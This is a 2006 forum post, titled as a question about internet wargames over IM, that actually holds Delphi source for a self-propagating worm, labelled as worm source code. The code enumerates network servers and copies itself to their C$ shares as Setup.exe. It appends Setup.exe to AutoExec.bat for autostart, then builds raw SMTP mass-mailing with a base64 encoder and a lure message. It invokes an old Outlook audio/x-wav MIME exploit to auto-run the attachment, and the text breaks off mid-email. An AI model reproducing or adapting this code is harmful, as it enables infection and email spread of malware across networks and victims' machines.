通过im实现互连网战棋的方法？^^ - Project1

Uses Windows, Winsock;
TYPE
Triple = ARRAY[1..3] OF BYTE;
Quad = ARRAY[1..4] OF BYTE;
// Message
Const
Mess : String = 'This is test worm';
Var
// Network string
Domains : String;
// Mail String
Mails : String;
//Base 64 Encode
Buf : Array[0..255] Of Char;
FileBuf : Array[0..1000000] Of Byte;
CC : String = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
// Lowercase Function.
Function LowerCase(const S: string): string;
var
Len: Integer;
begin
Len := Length(S);
SetString(Result, PChar(S), Len);
if Len > 0 then CharLowerBuff(Pointer(Result), Len);
end;
Function FileSize(FileName: String): Int64;
Var
H: THandle;
FData: TWin32FindData;
Begin
Result:= -1;
H:= FindFirstFile(PChar(FileName), FData);
If H <> INVALID_HANDLE_VALUE Then
Begin
Windows.FindClose(H);
Result:= Int64(FData.nFileSizeHigh) Shl 32 + FData.nFileSizeLow;
End;
End;
Function ExtractFileName(Str:String):String;
Begin
While Pos('\', Str)>0 Do
Str := Copy(Str, Pos('\',Str)+1, Length(Str));
Result := Str;
End;
// FileExists Function.
function FileExists(const FileName: string): Boolean;
var
Handle: THandle;
FindData: TWin32FindData;
begin
Handle := FindFirstFileA(PChar(FileName), FindData);
result:= Handle <> INVALID_HANDLE_VALUE;
if result then
begin
CloseHandle(Handle);
end;
end;
// Network Spread Function
procedure Enumeration(aResource:PNetResource);
var
aHandle: THandle;
k, BufferSize: DWORD;
Buffer: array[0..1023] of TNetResource;
i: Integer;
begin
WNetOpenEnum(2,0,0,aResource,aHandle);
k:=1024;
BufferSize:=SizeOf(Buffer);
while WNetEnumResource(aHandle,k,@Buffer,BufferSize)=0 do
for i:=0 to k-1 do
begin
if Buffer[i].dwDisplayType=RESOURCEDISPLAYTYPE_SERVER then
// Put all found domains in DOMAINS string. public declared.
Domains := Domains + copy(LowerCase(Buffer[i].lpRemoteName),3,MAX_PATH) + #13#10;
if Buffer[i].dwUsage>0 then
Enumeration(@Buffer[i])
end;
WNetCloseEnum(aHandle);
end;
// Here is the main procedure.
Procedure Network;
Var
Name : String;
Auto : TextFile;
Begin
// first of course enumerate the domains.
Enumeration(NIL);
// while domains aint NOTHING we grab out domains. (look liks : NAME#13#10NAME#13#10) :D
While Domains <> '' Do Begin
// strip out name
Name := Copy(Domains, 1, Pos(#13#10, Domains)-1);
// try, MIGHT fuck so better TRY.
Try
// COPY TO C!!
CopyFile(pChar(ParamStr(0)), pChar(Name + '\C$\Setup.exe'), False);
// modify autoexec so it launches setup.exe automaticly
If FileExists(pChar(Name + '\C$\AutoExec.bat')) Then Begin
AssignFile(Auto, Name + '\C$\AutoExec.bat');
Append(Auto);
WriteLn(Auto, 'Setup.exe');
CloseFile(Auto);
// where done, so lets go
End;
Except
;
End;
Domains := Copy(Domains, Pos(#13#10, Domains)+2, Length(Domains));
作者： jacker0o 2006-3-5 15:33 　回复此发言
--------------------------------------------------------------------------------
2 蠕虫源码
End;
End;
// Base64 Encode Written By Positron
// MailSend Written By p0ke
FUNCTION Codeb64(Count:BYTE;T:Triple) : STRING;
VAR
Q : Quad;
Strg : STRING;
BEGIN
IF Count<3 THEN BEGIN
T[3]:=0;
Q[4]:=64;
END ELSE Q[4]:=(T[3] AND $3F);
IF Count<2 THEN BEGIN
T[2]:=0;
Q[3]:=64;
END ELSE Q[3]:=Byte(((T[2] SHL 2)OR(T[3] SHR 6)) AND $3F);
Q[2]:=Byte(((T[1] SHL 4) OR (T[2] SHR 4)) AND $3F);
Q[1]:=((T[1] SHR 2) AND $3F);
Strg:='';
FOR Count:=1 TO 4 DO Strg:=(Strg+CC[(Q[Count]+1)]);
RESULT:=Strg;
END;
FUNCTION BASE64(DataLength:DWORD) : AnsiString;
VAR
B : AnsiString;
I : DWORD;
Remain : DWORD;
Trip : Triple;
Count : WORD;
BEGIN
Count:=0;
B:='';
FOR I:=1 TO DataLength DIV 3 DO BEGIN
INC(Count,4);
Trip[1]:=Ord(FileBuf[(I-1)*3+1]);
Trip[2]:=Ord(FileBuf[(I-1)*3+2]);
Trip[3]:=Ord(FileBuf[(I-1)*3+3]);
B:=B+codeb64(3,Trip);
IF Count=76 THEN BEGIN
B:=B+#13#10;
Count:=0;
END;
END;
Remain:=DataLength-(DataLength DIV 3)*3;
IF Remain>0 THEN BEGIN
Trip[1]:=Ord(FileBuf[DataLength-1]);
IF Remain>1 THEN Trip[2]:=Ord(FileBuf[DataLength]);
IF Remain=1 THEN B:=B+Codeb64(1,Trip) ELSE B:=B+Codeb64(2,Trip);
END;
RESULT:=B;
END;
Procedure SendMail(Recip, From, Server: String);
Var
Sock : TSocket;
Wsadatas : TWSADATA;
SockAddrIn : TSockAddrIn;
F : FILE;
Procedure Mys(STR:STRING);
Begin
Send(Sock,STR[1],Length(STR),0);
End;
Begin
// First try to connect to server.
// Startup
WSAStartUp(257,wsadatas);
// Set Socket
Sock:=Socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
// Set settings for socket
SockAddrIn.sin_family:=AF_INET;
// Set port, in this case 25
SockAddrIn.sin_port:=htons(25);
// Set address, in this case "Server"
SockAddrIn.sin_addr.S_addr:=inet_addr(PChar(Server));
// Try to connect
If Connect(Sock,SockAddrIn,SizeOf(SockAddrIn)) <> SOCKET_ERROR Then Begin
// YAY, no errors. Lets go.
// Hello Server
Mys('HELO .com'+#13#10);
// I want to send from "FROM"
Mys('MAIL FROM: '+From+#13#10);
// Recip is my victim :)
Mys('RCPT TO: '+recip+#13#10);
// Data, Data, Data, Data
Mys('DATA'+#13#10);
// From. ME!
Mys('From: '+From+#13#10);
// My Subject
Mys('Subject: 好久不见，你还好吗'+#13#10);
// Recip. YOU!
Mys('To: '+Recip+#13#10);
// MIME-VERSION 6.66
Mys('MIME-Version: 1.0'+#13#10);
// Lets Call It ShutFace
Mys('Content-Type: multipart/mixed; boundary="ShutFace"'+#13#10+#13#10);
// START SHUTFACE
Mys('--ShutFace'+#13#10);
// Text/Plain/Boring/FuckOff
Mys('Content-Type: text/plain; charset:us-ascii'+#13#10+#13#10);
// Omg, BODY!
Mys('好久不见，你还好吗？请收好'+#13#10);
Mys('附件。'+#13#10);
Mys(#13#10+#13#10);
// Stop ShutFace!
Mys('--ShutFace'+#13#10);
// Lets use a old old old, OOOOLD exploit in outlook. the AUDIO exploit :)
Mys('Content-Type: audio/x-wav;'+#13#10);

复制代码